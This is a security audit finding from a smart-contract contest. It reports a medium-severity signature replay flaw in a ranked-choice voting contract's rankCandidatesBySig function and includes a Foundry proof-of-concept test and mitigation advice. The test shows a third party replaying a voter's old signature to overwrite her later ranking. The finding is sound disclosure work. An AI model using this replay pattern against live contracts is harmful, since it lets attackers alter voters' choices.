President Elector

First Flight #24
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Voter's votes can be overwritten due to signature replay attack

Summary

A voter can indicate their ranked candidates, sign it and let anyone execute on their behalf by providing their signature. However, this leads to a signature replay attack where anyone can use the signature at any point in time before the election ends, overwriting any future candidate rankings that the voter has made before the election ends.

Vulnerability Details

The vulnerability lies in the rankCandidatesBySig function of the contract, L50-L58.

The function checks that the signature is valid and proceeds to execute the rest of the function with the decoded parameters after checking its validity. However, the signature can be replayed and executed by anyone that has access to the signature before the election ends.

Proof Of Concept

Working test case

function testSignatureReplayAttack() public {
// Provides signature for original ranked candidates
address[] memory originalOrderedCandidates = new address[]();
originalOrderedCandidates[0] = candidates[0];
originalOrderedCandidates[1] = candidates[1];
originalOrderedCandidates[2] = candidates[2];
bytes32 structHash = keccak256(abi.encode(TYPEHASH, originalOrderedCandidates));
bytes32 digest = _hashTypedDataV4(structHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, digest);
bytes memory signature = abi.encodePacked(r, s, v);
// Alice changed her mind and submit a different set of ranked candidates
orderedCandidates = [candidates[2], candidates[1], candidates[0]];
vm.prank(alice);
rankedChoice.rankCandidates(orderedCandidates);
address[] memory aliceCurrentVotes = rankedChoice.getUserCurrentVote(alice);
for (uint256 i = 0; i < aliceCurrentVotes.length; i++) {
assertEq(orderedCandidates[i], aliceCurrentVotes[i]);
}
// Voter has access to Alice's signature and overwrite Alice's previous candidates ranking
vm.prank(voters[1]);
rankedChoice.rankCandidatesBySig(originalOrderedCandidates, signature);
}

Impact

This vulnerability leads to signature replay attacks where the user's latest candidate ranking would get overwritten if anyone has access to their signatures for an outdated ranking, skewing the results.

Tools Used

Foundry, manual review

Recommended Mitigation

  1. Implement an expiry timestamp for the signature to be valid

  2. Include current user nonce along with the signature so that the signature is only valid once before execution

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Replay Attack - The same signature can be used over and over

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.